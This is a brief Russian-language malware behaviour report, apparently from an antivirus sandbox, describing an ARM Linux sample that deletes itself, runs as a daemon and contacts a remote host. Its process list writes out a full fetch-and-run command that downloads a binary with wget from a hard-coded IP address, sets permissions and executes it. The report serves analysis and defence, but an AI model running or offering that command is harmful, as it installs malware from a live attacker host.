Техническая информация
Вредоносные функции:
Самоудаляется
Запускает себя в качестве демона
Запускает процессы:
- /bin/sh -c wget http://185.244.39.29/8arm78; chmod 777 *; ./8arm78 wget.echo.telnet.arm7
- wget http://185.244.39.29/8arm78
- chmod 777 8arm78 run.sh stdout.log
- ./8arm78 wget.echo.telnet.arm7
Выполняет операции с файловой системой:
Модифицирует права доступа к файлам:
- /root/8arm78
- /root/run.sh
Создает или модифицирует файлы:
- /root/8arm78
Сетевая активность:
Устанавливает соединение:
- 8.#.8.8:53
- 18#.##4.39.29:4762
HTTP GET-запросы:
- 18#.###.39.29/8arm78
